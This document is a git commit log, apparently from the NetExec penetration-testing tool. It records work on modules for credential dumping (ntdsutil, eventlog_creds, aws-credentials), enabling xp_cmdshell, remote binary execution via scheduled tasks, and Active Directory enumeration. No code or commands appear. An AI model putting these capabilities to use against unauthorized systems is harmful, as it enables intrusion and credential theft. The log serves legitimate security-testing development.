zblurx 71ccfd930d Merge pull request #709 from Pennyw0rth/ldap_checker_removal
Ldap checker removal
2025-05-28 16:04:31 +02:00
Alex 1c1194aa31 Merge pull request #666 from termanix/dc-list
REopen Update --dc-list Now check trusted domains DCs
2025-05-28 16:02:14 +02:00
termanix ed88beebf9 added remove sign to description on enum_trust 2025-05-28 09:56:21 -04:00
termanix 36bdf2fb63 added author to pi 2025-05-28 09:51:13 -04:00
zblurx 155553a749 revert db changes 2025-05-28 15:48:15 +02:00
termanix 48839579e2 Merge branch 'main' into dc-list 2025-05-28 09:43:54 -04:00
Alexander Neff b2fe25ac91 Change domain color on trust enumeration 2025-05-28 09:38:30 -04:00
Alexander Neff fdfafb6f6e Separate domain trusts visually by using succes instead of hightlight 2025-05-28 09:18:37 -04:00
Alexander Neff 87c95a4133 Move int casting to value source 2025-05-28 09:01:18 -04:00
Alexander Neff 23bab54b1c Remove duplicate if list is empty check 2025-05-28 08:37:13 -04:00
Alexander Neff 5456154fa2 Fix trust bits 2025-05-28 08:36:47 -04:00
Alexander Neff 1904ee44ae Simplify logic 2025-05-28 08:17:48 -04:00
Alexander Neff ccd39ff2e3 Fix error handling when resolving the DCs 2025-05-28 08:12:04 -04:00
Alex 1a37573bea Merge pull request #710 from Pennyw0rth/neff-fix-spec
Fix spec file
2025-05-28 14:05:04 +02:00
Alexander Neff a6542cac64 Fix spec file 2025-05-28 07:55:30 -04:00
Alexander Neff f3d5f8df0a Readd ldap-checker module with 'REMOVED' note 2025-05-28 07:21:04 -04:00
Alexander Neff f36c53f34f Formatting 2025-05-28 07:06:47 -04:00
Alexander Neff dd2a053e68 Add debug log statements 2025-05-28 07:06:33 -04:00
Alexander Neff a651678237 Add exception handling if no TLS cert is available 2025-05-28 06:41:32 -04:00
Alexander Neff 8fb63349df Add debug log statements 2025-05-28 06:33:19 -04:00
Alexander Neff 0d87cc573b Update impacket to add the latest changes by zblurx regarding the cbt 2025-05-28 06:29:05 -04:00
Alexander Neff 8fd0e3917d Rename variable to more meaningful name 2025-05-28 06:28:37 -04:00
zblurx 3b0f74fdf6 cleanup the code 2025-05-28 12:12:55 +02:00
zblurx 3fb002c2b7 update poetry lock 2025-05-28 12:08:02 +02:00
zblurx f808948970 update e2e 2025-05-28 11:37:57 +02:00
zblurx 267bd93c42 change colors and add values into db 2025-05-28 11:37:50 +02:00
zblurx 5bbdb70ec9 update cbt check 2025-05-28 10:57:30 +02:00
zblurx f8033d6c64 fix ldap-signing check 2025-05-27 19:14:14 +02:00
zblurx 66642a514f implement the checks from ldap-checker module in core ldap protocol 2025-05-27 19:10:46 +02:00
Alex 3bf9de3f46 Merge pull request #707 from Pennyw0rth/neff-switch-impacket
Switch impacket branch to Pennyw0rth fork
2025-05-27 15:16:14 +02:00
Alexander Neff f61e90b770 Switch impacket branch to Pennyw0rth fork 2025-05-27 09:10:43 -04:00
Alexander Neff 4f2a611d40 Add credits 2025-05-27 08:56:47 -04:00
Alexander Neff 812ceabb70 Hide enumerate admins to --verbose for reducing logs when scanning large ranges 2025-05-27 08:48:48 -04:00
Alexander Neff c62b5fc18b Fix logging bug in change-password 2025-05-27 08:45:28 -04:00
Alexander Neff b2b5c68e1c We must connect to the DC instead of the target because we can only enumerate domain groups on the DC 2025-05-27 08:45:15 -04:00
Alexander Neff 7108e2aa5b Make opsec_safe as we only use native win protocols 2025-05-27 07:42:24 -04:00
Alexander Neff 81a144902f Group users when being in both dom admin and enterprise admin group 2025-05-27 07:42:02 -04:00
Alexander Neff 65bd7aedf9 Remove Administrators group as not found and readd check for dom admin in folders 2025-05-27 07:32:14 -04:00
Alexander Neff 6c9c141885 Skip administrator folder 2025-05-27 07:07:35 -04:00
Alexander Neff a6fa872b3b Switch to user objects instead of multiple lists 2025-05-27 06:59:49 -04:00
Alexander Neff 747df104ff Simplify exception handling 2025-05-27 06:59:11 -04:00
Alex e2f225ad34 Merge branch 'main' into dc-list 2025-05-26 11:44:51 +02:00
Alexander Neff 3b12e1407a Merge branch 'main' into presence 2025-05-25 16:25:42 -04:00
Alex 6a0a985c32 Merge pull request #629 from Pennyw0rth/neff-update-ruff
Update Ruff and Fix Linting
2025-05-25 22:21:46 +02:00
Alexander Neff 3fcb3777db Regenerate lock file 2025-05-25 14:32:49 -04:00
Alexander Neff d0f9b2d9e2 Display proper info when there is no adcs in the domain 2025-05-25 14:25:02 -04:00
Alexander Neff 81e4977324 Fix remove-mic module 2025-05-25 14:21:44 -04:00
Alexander Neff 1b750d8fbc Don't test change-password module otherwise we can't log in anymore... 2025-05-25 14:16:33 -04:00
Alexander Neff 730a4bfded Linting 2025-05-25 13:11:32 -04:00
Alexander Neff 9e1c44bcfb Merge branch 'main' into neff-update-ruff 2025-05-25 13:11:07 -04:00
Alexander Neff 769f82f5e3 Linting 2025-05-25 13:10:28 -04:00
Alexander Neff c91c9dd93b Linting 2025-05-25 13:10:01 -04:00
mpgn b1f0368835 Merge pull request #664 from Pennyw0rth/be
Make nxc compatible with bloodhound-ce zip
2025-05-25 18:55:52 +02:00
mpgn 1afef2fdf5 Merge branch 'main' into be
Signed-off-by: mpgn <[email protected]>
2025-05-25 18:48:44 +02:00
Alexander Neff dd32695096 Update lock file 2025-05-25 12:47:13 -04:00
mpgn 1281b0f296 Merge pull request #671 from Pennyw0rth/fix_host_info 2025-05-25 18:46:59 +02:00
Alexander Neff b73e51c0b7 Merge branch 'main' into neff-update-ruff 2025-05-25 12:46:35 -04:00
Alexander Neff e5d3b66fb3 Add comments 2025-05-25 11:29:02 -04:00
Alexander Neff 70910223b4 Move bloodhound package info function to the helpers 2025-05-25 11:04:29 -04:00
Alexander Neff 09cb12d759 Swap command order, otherwise pipx will complain 2025-05-25 11:02:10 -04:00
Alexander Neff 51dfd5179a Actually as the poetry file now says 'bloodhound-ce' we must uninstall that package 2025-05-25 10:47:07 -04:00
Alexander Neff 962a7ec45c Add info if 'bloodhound' package not found 2025-05-25 10:43:38 -04:00
Alex ff531553ac Merge pull request #706 from Pennyw0rth/neff-improve-eventlog_creds
Improve eventlog_creds
2025-05-25 16:16:16 +02:00
Alexander Neff 614de0b75f Use already existing config object 2025-05-25 10:11:49 -04:00
Alexander Neff c3c487600e Add missing check if config section is missing 2025-05-25 10:10:29 -04:00
Alexander Neff 2c12ab7202 Improve regex match and reduce false positives 2025-05-25 09:48:58 -04:00
Alexander Neff 379641e25c Allow setting the limit to UNLIMITED 2025-05-25 09:48:38 -04:00
Alexander Neff 09ca4c91f4 Implement unlimited querying with MSEven 2025-05-25 09:47:54 -04:00
mpgn 65e6e8cf2e fix poetry lock 2025-05-25 12:21:42 +00:00
mpgn 2164b4c699 Merge branch 'main' into be
Signed-off-by: mpgn <[email protected]>
2025-05-25 14:17:26 +02:00
Alexander Neff ef7e97478e Add missing output variable 2025-05-25 08:14:37 -04:00
Alexander Neff 779f955f0f Exclude Application Data as this creates and infinite recursion on wmi/winrm 2025-05-25 07:45:52 -04:00
Alex ded34e0de2 Merge pull request #705 from Pennyw0rth/neff-fix-badsuccessor
Check for win server 2025 instead of DFL 2025
2025-05-25 13:21:46 +02:00
Alexander Neff e53f1cf378 Now checking for dc with win server 2025 and not functional domain level to be 2025 2025-05-25 07:16:03 -04:00
Alex 5c36c9859f Merge pull request #704 from Pennyw0rth/neff-fix-ldap
Switch LDAP source to fixed version
2025-05-25 13:15:03 +02:00
mpgn 15fb6a3d1f update poetry lock 2025-05-25 11:07:30 +00:00
mpgn 95ca5b437a Merge branch 'main' into be
Signed-off-by: mpgn <[email protected]>
2025-05-25 13:04:29 +02:00
mpgn 7d3dd40912 make bloodhound-ce default 2025-05-25 11:02:38 +00:00
Alexander Neff 263b1df2ae Revert #682 and reenable ldap signing 2025-05-25 06:58:42 -04:00
Alexander Neff 789edeb30a Switch to the fixed ldap signing version from zblurx 2025-05-25 06:57:34 -04:00
Alexander Neff 1280eaf0cb Fix winrm command execution and add missing parameters to ps_execute 2025-05-25 06:54:20 -04:00
Alexander Neff a3889b84f1 Print output line by line 2025-05-25 06:53:56 -04:00
Alexander Neff 70cc90ad11 Merge branch 'main' into aws-credentials 2025-05-24 11:13:58 -04:00
Alex 0befdd064c Merge pull request #703 from Pennyw0rth/neff-fix-logger-port
Fix logging port and also update the port when switching to LDAPS
2025-05-24 17:12:42 +02:00
Alexander Neff a4cf832e9d Remove wmi from executable protocols and remove wmiexec from exec-methods due to bugs 2025-05-24 09:54:47 -04:00
Alexander Neff 5cd7a6c7e8 Fix logging port and also update the port when switching to LDAPS 2025-05-24 09:32:10 -04:00
Alexander Neff 0fe468f39b Add wmi to supported protocols 2025-05-24 09:24:01 -04:00
Alexander Neff 4714664abf Formatting 2025-05-24 08:53:30 -04:00
Alex c8430b661e Merge branch 'main' into aws-credentials 2025-05-24 14:40:37 +02:00
Braiant Giraldo 1431481116 Update aws-credentials.py
Added context.log.highlight() to the module

Signed-off-by: Braiant Giraldo <[email protected]>
2025-05-23 19:31:48 -05:00
mpgn c15faf1623 Merge pull request #702 from Pennyw0rth/badsuccesor
Add Badsuccessor module
2025-05-23 18:10:59 +02:00
Alexander Neff b84d04a448 Make text more precise 2025-05-23 12:07:49 -04:00
Alexander Neff e75512a93c Add domain functional level check 2025-05-23 12:04:19 -04:00
Alexander Neff fb754166e4 Add options text 2025-05-23 11:41:42 -04:00
Alexander Neff dbc3bd335a Formatting 2025-05-23 11:40:58 -04:00
mpgn c09376859e fix ruff 2025-05-23 17:32:04 +02:00
mpgn d1d700243b add module badsuccessor 2025-05-23 17:13:33 +02:00
mpgn 057872cc15 add exam 2025-05-23 17:13:10 +02:00
Alex e6fe63475a Merge pull request #691 from crosscutsaw/ntdsutil-new
update ntdsutil.py to behave like --ntds
2025-05-23 00:01:24 +02:00
Alexander Neff 073abc9652 Remove unused import 2025-05-22 17:58:25 -04:00
Alexander Neff abf9b34ad0 Make use of the filename template in the smb protocol 2025-05-22 17:57:26 -04:00
mpgn 1319fb4fc4 Merge pull request #670 from Pennyw0rth/ldap_fail
Fix ldap simple auth with base object
2025-05-22 22:53:10 +02:00
Alexander Neff 3f38b5fc8c Merge both if statements 2025-05-22 16:43:27 -04:00
Alexander Neff 41b60eb3fc Restrict swapping the scope to when we have an operationsError and scope is None (didn't try with scope=baseObject) 2025-05-22 16:41:36 -04:00
FRE d76127cc09 [WCC] Add check for LLMNR 2025-05-22 15:54:02 +02:00
FRE 698c32f73d [WCC] Ignore KDNIC in NBTNS check 2025-05-22 15:08:56 +02:00
mpgn a9e182770f update code 2025-05-21 14:47:14 +02:00
Alexander Neff b87f525d87 Add the Administrators to checked groups 2025-05-20 18:44:09 -04:00
termanix 500eaa7ca8 enum_trust ruff fixed 2025-05-20 09:08:37 -04:00
termanix a689cd1459 Replaced Reprecated with Removed 2025-05-20 09:05:30 -04:00
termanix c25640c997 Merge branch 'Pennyw0rth:main' into dc-list 2025-05-20 09:02:26 -04:00
Alex 69c1137a3b Merge pull request #699 from Pennyw0rth/NeffIsBack-patch-1 2025-05-20 12:31:27 +02:00
emre e18e69e563 Update ntdsutil.py 2025-05-20 07:26:07 +03:00
Alex ac80cc2a73 Update PULL_REQUEST_TEMPLATE.md
Signed-off-by: Alex <[email protected]>
2025-05-20 01:19:01 +02:00
Alexander Neff d481f55a14 Simplify logic and remove highlight if no admin was found in directories 2025-05-18 20:14:59 -04:00
Alexander Neff b0d34ad7fc Simplify logic 2025-05-18 20:13:21 -04:00
Alexander Neff 2e0443ff8a Remove duplicate initialization 2025-05-18 20:05:24 -04:00
Alexander Neff e2539855a3 Simplify logic 2025-05-18 20:05:10 -04:00
Alexander Neff e08935d31a Simplify logic 2025-05-18 19:59:35 -04:00
Alexander Neff af56d9470c Remove unused function and simplify logic 2025-05-18 19:54:07 -04:00
Alexander Neff fb52fc6dc1 Simplify logic 2025-05-18 19:52:45 -04:00
Alexander Neff a2d4d9319a Simplify logic 2025-05-18 19:49:41 -04:00
Alexander Neff a219e092b8 Get only the default domain and make code shorter 2025-05-18 19:30:20 -04:00
Alexander Neff 01c7752522 Improve readability 2025-05-18 19:29:27 -04:00
Alexander Neff 9be36017b6 Replace .error with .fail and clean up code 2025-05-18 19:02:14 -04:00
Alex d1239445e7 Merge branch 'main' into presence 2025-05-19 00:52:48 +02:00
emre 137f70a84c Update ntdsutil.py 2025-05-19 00:37:43 +03:00
emre c3c4edbe4e Update ntdsutil.py 2025-05-19 00:37:02 +03:00
emre 11458b07f0 ruff fix all 2025-05-19 00:26:02 +03:00
emre c34d00651b ruff fix everything 2025-05-19 00:23:13 +03:00
emre 7e0476d50b Update ntdsutil.py 2025-05-18 20:39:22 +03:00
Alex e721917b8e Merge pull request #695 from Cyb3rC3lt/main
Updated whoami and find-computer modules
2025-05-18 12:50:18 +02:00
Alexander Neff e9d17004d4 Formatting 2025-05-18 06:46:23 -04:00
Alexander Neff c11090e1e6 Remove unnecessary try&except 2025-05-18 06:46:14 -04:00
Alexander Neff d7333e25d9 Add missing import 2025-05-18 06:45:52 -04:00
David Kennedy 07f273f8c4 Reverted size limit to a large number i.e. 999
Signed-off-by: David Kennedy <[email protected]>
2025-05-18 11:15:05 +01:00
Alex 844af809d5 Merge pull request #452 from lodos2005/main
eventlog_creds Module
2025-05-18 12:05:36 +02:00
David Kennedy 460c351228 Updated to use parse_results and import datetime
Signed-off-by: David Kennedy <[email protected]>
2025-05-18 10:38:31 +01:00
emre fce0ed7ade Update presence.py 2025-05-18 09:49:09 +03:00
Alex 7aa6c69039 Merge pull request #696 from Pennyw0rth/neff-fix-winrm-db
Fix winrm database logic
2025-05-17 22:30:34 +02:00
Alex 9f906eaa93 Merge pull request #694 from cyberG33k02/false-negative-fix
fix(ntlm): include server hostname in Workstation field of Authentication
2025-05-17 22:10:39 +02:00
Alexander Neff 07a0ae0aa9 Add database logic for hash login and ensure admin relation is added via queried userid 2025-05-17 15:49:25 -04:00
cyber02 4da19545f6 fix: added reference to issue #694 in NTLM workstation field comment, added the same fix to the hash_login() method 2025-05-17 20:39:30 +01:00
emre 4992c454a3 Update presence.py 2025-05-17 22:02:41 +03:00
siouxchief 92ac8be7da Commit 2025-05-17 11:45:37 +01:00
cyber02 fcb3078476 fix(ntlm): include server hostname in Workstation field of Authenticate message 2025-05-16 23:01:45 +01:00
mpgn f3da3dad00 avoid changing login logic 2025-05-15 23:19:29 +02:00
mpgn ee945fa9b4 fix review 2025-05-15 23:13:23 +02:00
mpgn 2cf004db4f fix review 2025-05-15 23:13:00 +02:00
emre 770cb6ab7e Update ntdsutil.py 2025-05-15 21:26:26 +03:00
Alex 07b4eba6e0 Merge pull request #557 from crosscutsaw/enable_cmdshell
new module: mssql > enable_cmdshell
2025-05-15 20:11:26 +02:00
Alexander Neff 6030c49f54 Specify that it is an MSSQL server 2025-05-15 14:08:17 -04:00
emre 86aac144b5 Update ntdsutil.py 2025-05-15 21:04:23 +03:00
Alexander Neff 1b93d061d9 Rename module link_enable_xp.py to link_enable_cmdshell.py, so that naming scheme is similar to enable_cmdshell 2025-05-15 14:01:26 -04:00
Alexander Neff 30a52aa84f Change .error to .fail to properly use context in logger 2025-05-15 14:00:32 -04:00
Alexander Neff 7cdd1238a2 Formatting and exit when required action is not available 2025-05-15 13:59:42 -04:00
Alex fda6b6a2f4 Merge branch 'main' into enable_cmdshell 2025-05-15 19:16:36 +02:00
Alex 9829b08628 Merge pull request #463 from Dfte/SMB]-Add-the-recyclebin-module
Add option to  --spider and add recyclebin.py module
2025-05-15 19:09:11 +02:00
Alexander Neff 0391e813a7 Linting 2025-05-15 13:06:46 -04:00
Alexander Neff 6cf11e8338 Rename no_print_result to silent in args as well 2025-05-15 13:03:58 -04:00
Alexander Neff d769bc9983 Rename no_print_result to silent and improve readability 2025-05-15 13:01:20 -04:00
Alexander Neff 951ad25d95 Improve readability of the download logic 2025-05-15 12:55:22 -04:00
Alexander Neff dbfb0d8282 Formatting 2025-05-15 12:55:04 -04:00
Alexander Neff 2ec56d1432 Make sure we continue with other users when one user fails 2025-05-15 12:30:19 -04:00
Alexander Neff 6c68d41612 Formatting 2025-05-15 12:29:43 -04:00
Alexander Neff 6d5ce45422 Move remote_ops.finish to end so we have the remoteops available 2025-05-15 12:29:06 -04:00
Alexander Neff 6bee36f2af Formatting 2025-05-15 12:12:55 -04:00
Alex f7f343e0eb Merge branch 'main' into SMB]-Add-the-recyclebin-module 2025-05-15 18:10:37 +02:00
Alexander Neff 6a7871e57e Formatting 2025-05-15 11:56:30 -04:00
Alexander Neff c8849ea062 Fix SyntaxWarnings due to regex 2025-05-15 11:24:03 -04:00
Alex 2b5968f2b6 Merge branch 'main' into main 2025-05-15 17:20:01 +02:00
Alex 4f028ea9b8 Merge pull request #686 from Pennyw0rth/neff-fix-mssql-module
Automatically preserve state of "advanced options" on the target
2025-05-13 19:32:30 +02:00
Alexander Neff 4d8583e443 Remove boilerplate 2025-05-13 13:25:22 -04:00
Alexander Neff 5d3955b6bc Formating 2025-05-13 13:10:59 -04:00
Alexander Neff 859553fb33 Automatically preserve state of "advanced options" on the target 2025-05-13 13:06:40 -04:00
Alex b243ee8748 Merge pull request #682 from Pennyw0rth/neff-ldap-disable-signing 2025-05-10 12:00:00 +02:00
Alex 35c39c1c8e Merge pull request #681 from Pennyw0rth/neff-fix-db-schema
Add a check if the database scheme contains the unique attribute
2025-05-09 17:58:10 +02:00
Alexander Neff 68367ef529 Disable signing in ldap temporarely 2025-05-09 10:33:33 -04:00
Alexander Neff f335cd7654 Formatting 2025-05-09 10:21:20 -04:00
Alexander Neff 94115123f6 Add a check if the database scheme contains the unique attribute 2025-05-09 10:19:21 -04:00
emre 9f9ed93e7f Update presence.py 2025-05-09 01:36:05 +03:00
termanix c87d0c206b integrated enum_trusts 2025-05-07 15:06:44 -04:00
termanix 602498f09c Merge branch 'Pennyw0rth:main' into dc-list 2025-05-07 13:46:56 -04:00
mpgn 413e5eb51a Merge pull request #662 from Pennyw0rth/cleanup
remove old server code unused
2025-05-07 17:16:45 +02:00
Alex 3209e523a5 Merge pull request #677 from Pennyw0rth/neff-fix-ldap-kerb-dom-trust
Fix domain trust with kerberos in ldap
2025-05-07 17:12:20 +02:00
Alexander Neff 7bda89661b Remove unused variable 2025-05-07 11:11:52 -04:00
Alexander Neff abda35be65 Remove on_shutdown in connection.py 2025-05-07 11:09:48 -04:00
Alexander Neff 7cd990f920 Remove old module server stuff 2025-05-07 11:06:32 -04:00
Alexander Neff 4d68843057 Remove on_shutdown from modules 2025-05-07 10:56:47 -04:00
Alexander Neff a12c6422ce Fix domain trust with kerberos in ldap 2025-05-07 10:40:17 -04:00
mpgn 196d9fa6d9 Merge branch 'main' into cleanup 2025-05-07 16:09:37 +02:00
mpgn 5efa2c3299 Update example_module.py
Signed-off-by: mpgn <[email protected]>
2025-05-07 16:09:17 +02:00
mpgn 5b6d00ed90 Update connection.py
Signed-off-by: mpgn <[email protected]>
2025-05-07 16:08:21 +02:00
termanix 7fdca67833 Merge branch 'main' into dc-list 2025-05-05 08:29:05 -04:00
termanix 171c79fde1 Merge branch 'main' into notepad 2025-05-05 08:27:24 -04:00
Alex c19841398f Merge pull request #512 from KriyosArcane/main
New change-password module.
2025-05-04 12:06:31 +02:00
termanix a083405335 Merge branch 'Pennyw0rth:main' into dc-list 2025-05-04 04:07:26 -04:00
FaganAfandiyev f3f27976cf Add e2e_commands.txt tests 2025-05-03 17:33:20 -04:00
Alexander Neff 887ecdd8a7 Refined options examples and formating 2025-05-03 17:26:52 -04:00
Alexander Neff 5f34e563b6 Refactor change-password module to allow set NEWNTHASH 2025-05-03 17:22:05 -04:00
Alex 6aa7d6a114 Merge pull request #668 from Dfte/main
Upgrade the schtask_as module so that we can upload binaries and execute them
2025-05-03 19:22:41 +02:00
Alexander Neff bb36b6d5e6 Only right trim to preserve indentation on certain output 2025-05-03 13:20:08 -04:00
Alexander Neff 362d373c21 Add examples to options and formating 2025-05-03 13:18:28 -04:00
mpgn a47431cbfd fix hostname info if no ntlm 2025-04-29 14:20:16 +02:00
mpgn 3ff6479795 better output 2025-04-29 08:41:09 +02:00
mpgn cc09aefbb9 more simple code 2025-04-29 01:03:17 +02:00
mpgn 2e254396b5 simple update 2025-04-29 00:41:53 +02:00
mpgn 8b2135a7b1 simple update 2025-04-29 00:40:24 +02:00
mpgn 1452068944 simple update 2025-04-29 00:39:37 +02:00
mpgn 9dc029847a fix ldap simple auth 2025-04-29 00:12:19 +02:00
Alex 9890316802 Merge pull request #669 from Pennyw0rth/neff-update-pylnk3 2025-04-28 22:52:57 +02:00
Alexander Neff f3e161597d Update pylnk3 to remove debug print 2025-04-28 15:23:11 -04:00
Aurélien CHALOT 102213771f Upgrade the schtask_as module so that we can upload binaries and then execute them 2025-04-28 14:30:09 +02:00
Alex 6a2874e804 Merge pull request #667 from Pennyw0rth/neff-fix-mssql 2025-04-27 19:56:02 +02:00
Alexander Neff 207b7da461 Fix empty domain string 2025-04-27 13:17:56 -04:00
Alexander Neff 6dcbb02a02 Use process password for kerb login failure 2025-04-27 11:55:27 -04:00
Alexander Neff 6bf72192c4 Formating 2025-04-27 11:53:51 -04:00
Alexander Neff 5e9e06b1a1 Formating 2025-04-27 10:10:10 -04:00
Alexander Neff 17ef18edd0 Formating and logging change 2025-04-27 10:06:05 -04:00
Alexander Neff 0be367b8aa Improve options 2025-04-27 10:05:52 -04:00
Alexander Neff 059d241727 Restrict returning true on STATUS_PASSWORD_MUST_CHANGE to only the module 2025-04-27 10:05:15 -04:00
Alex f5dc9ea8c6 Merge pull request #665 from Pennyw0rth/neff-fix-pfs-win
Fix pfx output path on windows
2025-04-27 14:58:15 +02:00
Alex b35e1956af Don't replace C: in the path 2025-04-27 14:39:26 +02:00
termanix a517be8355 Merge branch 'Pennyw0rth:main' into dc-list 2025-04-27 06:26:38 -04:00
mpgn 47b54c838e fix ruff 2025-04-27 10:19:14 +02:00
mpgn fad24dbb42 Merge branch 'main' into cleanup 2025-04-27 10:18:25 +02:00
mpgn fd86652121 more clean 2025-04-27 10:17:52 +02:00
mpgn 848da44f75 Merge pull request #663 from Pennyw0rth/ippsec_video
Fix bunch of stuff from ippsec and 0xdf writeup for vintage box
2025-04-27 10:13:50 +02:00
termanix b7b454e725 Update ldap.py
Signed-off-by: termanix <[email protected]>
2025-04-27 07:55:47 +03:00
termanix b8dfb52802 took the old branch, it was fixed.
Signed-off-by: termanix <[email protected]>
2025-04-27 07:49:27 +03:00
termanix 981ad11b86 Merge branch 'main' into dc-list
Signed-off-by: termanix <[email protected]>
2025-04-27 00:46:47 -04:00
termanix e993fbd0fc Refactored to enforce direct attribute access, preventing misleading classifications and improving error handling. 2025-04-27 00:36:33 -04:00
termanix c1a0f140e1 Thought, would implement it with netlogon but not have time for now, maybe later lol 2025-04-27 00:36:33 -04:00
Alexander Neff 23769d7755 Remove unnecessary try&except block and display trust domains we are skipping 2025-04-27 00:36:33 -04:00
Alexander Neff bab540d734 Add missing trust_type_text value, ref: MS-ADTS 2025-04-27 00:36:33 -04:00
termanix 3af68e3f9d Now check trusted domains DCs 2025-04-27 00:36:33 -04:00
Alex 9196c3216a Fix pfx output path on windows 2025-04-27 02:03:44 +02:00
Alex c34c581b0f Merge pull request #658 from nikaiw/fix_host_duplicate
Update database.py
2025-04-27 01:35:59 +02:00
Alex e61799ad9c Merge pull request #660 from n00py/patch-1
Added more AV Signatures
2025-04-27 01:35:42 +02:00
mpgn 26588a490e fix ruff 2025-04-27 00:36:30 +02:00
mpgn d016fb61fd make nxc compatible with bloodhound-ce 2025-04-27 00:35:16 +02:00
mpgn 61277c889b fix ruff 2025-04-26 20:44:16 +02:00
mpgn 913a71314f fix a bunch of stuff from vintage box on HTB 2025-04-26 20:43:35 +02:00
mpgn 15d100205b fix ruff 2025-04-26 19:24:19 +02:00
mpgn de4171e11e remove old server code unused 2025-04-26 19:22:13 +02:00
n00py d80c8e0b45 Update enum_av.py
Added a few more signatures for Trend Micro monitoring, one for Rapid7 Insight Agent, and some for Ivanti Security 

Signed-off-by: n00py <[email protected]>
2025-04-25 13:30:26 -06:00
NK 02f4439680 Update database.py
Signed-off-by: NK <[email protected]>
2025-04-25 10:29:55 +02:00
NK c5db5478d1 Update database.py
prevent duplicate host insert

Signed-off-by: NK <[email protected]>
2025-04-24 20:09:25 +02:00
D4ytox d51fc3f095 Fix . missing from classic path 2025-04-20 16:18:29 +01:00
D4ytox 46c16213f9 Remove the use of XDG_DATA_HOME 2025-04-20 15:17:28 +01:00
D4ytox 8deb2f9924 Use nxc as the folder name for XDG_DATA_HOME as well 2025-04-20 15:09:52 +01:00
D4ytox 0abadb062b Make XDG_CONFIG_HOME append nxc afterwards and XDG_DATA_HOME append nxc_data 2025-04-20 15:03:12 +01:00
D4ytox ff1ce969f9 Use XDG_CONFIG_HOME and XDG_DATA_HOME if set by user 2025-04-20 14:49:25 +01:00
Alex 9668cbce36 Merge pull request #650 from moscowchill/fix-windows-log-path-f332071
fix: Refactor output file path construction in SMB protocol
2025-04-20 02:08:29 +02:00
Marshall Hallenbeck bc712c84ef Merge branch 'main' into main 2025-04-19 09:13:52 -04:00
D4ytox 64cce9572f Fix path imports to be grouped with other imports 2025-04-18 15:55:30 +01:00
moscowchill a1a1be66ae Refactor output file path construction in SMB protocol
- Updated the output file template to use os.path.join for improved OS compatibility.
- Enhanced readability by separating base log directory and filename pattern construction.
2025-04-18 07:02:24 -07:00
D4ytox 88997c33a8 Fix ruff findings 2025-04-18 14:37:35 +01:00
D4ytox bf202a23f1 Merge the two import statements together 2025-04-18 14:31:14 +01:00
D4ytox d40a1c84d2 Fix unecessary expand_user in context.py 2025-04-18 14:27:06 +01:00
D4ytox 5fc5922bf2 Use WORKSPACE_DIR in netexec.py 2025-04-18 14:17:32 +01:00
D4ytox 41a9345927 Use CONFIG_PATH in config.py 2025-04-18 14:17:32 +01:00
D4ytox ca7408fd4d Use TMP_PATH in smb.py 2025-04-18 14:17:32 +01:00
D4ytox 95c11aa434 Use NXC_PATH,CONFIG_PATH in context.py 2025-04-18 14:17:32 +01:00
D4ytox 5f25e25d26 Use NXC_PATH in spider_plus.py 2025-04-18 14:17:32 +01:00
D4ytox 4c515414e2 Use NXC_PATH in get_netconnections.py 2025-04-18 14:17:32 +01:00
D4ytox dc00beab39 Use NXC_PATH in enum_dns.py 2025-04-18 14:17:32 +01:00
D4ytox f16616eeb6 Use CONFIG_PATH in database.py 2025-04-18 14:17:32 +01:00
D4ytox 2e50996ae5 Use TMP_PATH in wmiexec.py 2025-04-18 14:17:32 +01:00
D4ytox a3920da302 Use TMP_PATH in mmcexec.py 2025-04-18 14:17:32 +01:00
D4ytox b8d5ede6f5 Use TMP_PATH in atexec.py 2025-04-18 14:17:32 +01:00
D4ytox 0e370152b8 Use NXC_PATH in wmi.py 2025-04-18 14:17:32 +01:00
D4ytox 038fe52e8c Use NXC_PATH in winrm.py 2025-04-18 14:17:32 +01:00
D4ytox 4174dd9313 Use NXC_PATH in vnc.py 2025-04-18 14:17:32 +01:00
D4ytox f295dcf5f5 Use NXC_PATH in rdp.py 2025-04-18 14:17:32 +01:00
D4ytox d6e8cad817 Use NXC_PATH in ldap.py 2025-04-18 14:17:32 +01:00
D4ytox fb7ca1dac0 Use TMP_PATH in keepass_trigger.py 2025-04-18 14:17:32 +01:00
D4ytox 314c3675ef Use NXC_PATH in get-network.py 2025-04-18 14:17:32 +01:00
D4ytox bc12c96492 Use NXC_PATH in protocolloader.py 2025-04-18 14:17:32 +01:00
D4ytox 7d08340d29 Use NXC_PATH in logger.py 2025-04-18 14:17:32 +01:00
D4ytox d814e2cc2c Use NXC_PATH in netexec.py 2025-04-18 14:17:31 +01:00
Alex 024ff0ab03 Merge pull request #645 from bandrel/nfs-fstring-bug
Update nfs.py
2025-04-14 14:58:31 -04:00
Alexander Neff 3ebec370ec Add missing single quotes around slash 2025-04-14 14:50:30 -04:00
Justin Bollinger bead78abae Update nfs.py
fixed syntax error for fstring that was causing it to crash

Signed-off-by: Justin Bollinger <[email protected]>
2025-04-14 13:02:36 -04:00
Alex 5e08f53b72 Merge pull request #644 from Pennyw0rth/neff-fix-binary-workflow
Add missing Pillow package to binary workflow
2025-04-13 16:18:27 +02:00
Alexander Neff 0517c70e0e Add missing Pillow package to binary workflow 2025-04-13 10:13:41 -04:00
Alex 806e4c73b2 Merge pull request #643 from Pennyw0rth/v1.4.0
Add CODENAME for release v1.4.0
2025-04-13 15:53:12 +02:00
Alexander Neff a73624aa5c Add CODENAME for release v1.4.0 2025-04-13 09:48:33 -04:00
Alex af743bf517 Merge pull request #642 from Pennyw0rth/neff-parse-uuids
Add sid parsing directly to the ldap attribute parser
2025-04-13 14:05:22 +02:00
Alexander Neff d5bd57dd94 Add sid parsing directly to the ldap attribute parser 2025-04-13 07:21:24 -04:00
Alex 6c30f3b611 Merge pull request #641 from exploide/completions
completions: no not complete options without entering `-` first
2025-04-13 13:18:00 +02:00
exploide b0ccbba947 completions: no not complete options without entering - first
additionally, this commit makes activate-global-python-argcomplete work
2025-04-13 11:21:04 +02:00
Alex 0b1a4e452a Merge pull request #640 from Pennyw0rth/neff-add-gmsa-readPrincipal
Add read principal to GMSA
2025-04-12 20:23:20 +02:00
Alexander Neff 47e40928b7 Add read principal of gmsa 2025-04-12 14:12:18 -04:00
Alex bf37152d3f Merge pull request #471 from termanix/patch-7
Update ldap.py for parse_result_attributes
2025-04-12 20:10:55 +02:00
Alexander Neff 5e400fb4b6 Fix GMSA account not showing for user without read privs 2025-04-12 12:32:35 -04:00
Alexander Neff 2540ca91b4 Refactor gmsa functions 2025-04-12 11:54:34 -04:00
Alexander Neff a4931816d9 Replace create_conn_obj parsing 2025-04-12 08:38:07 -04:00
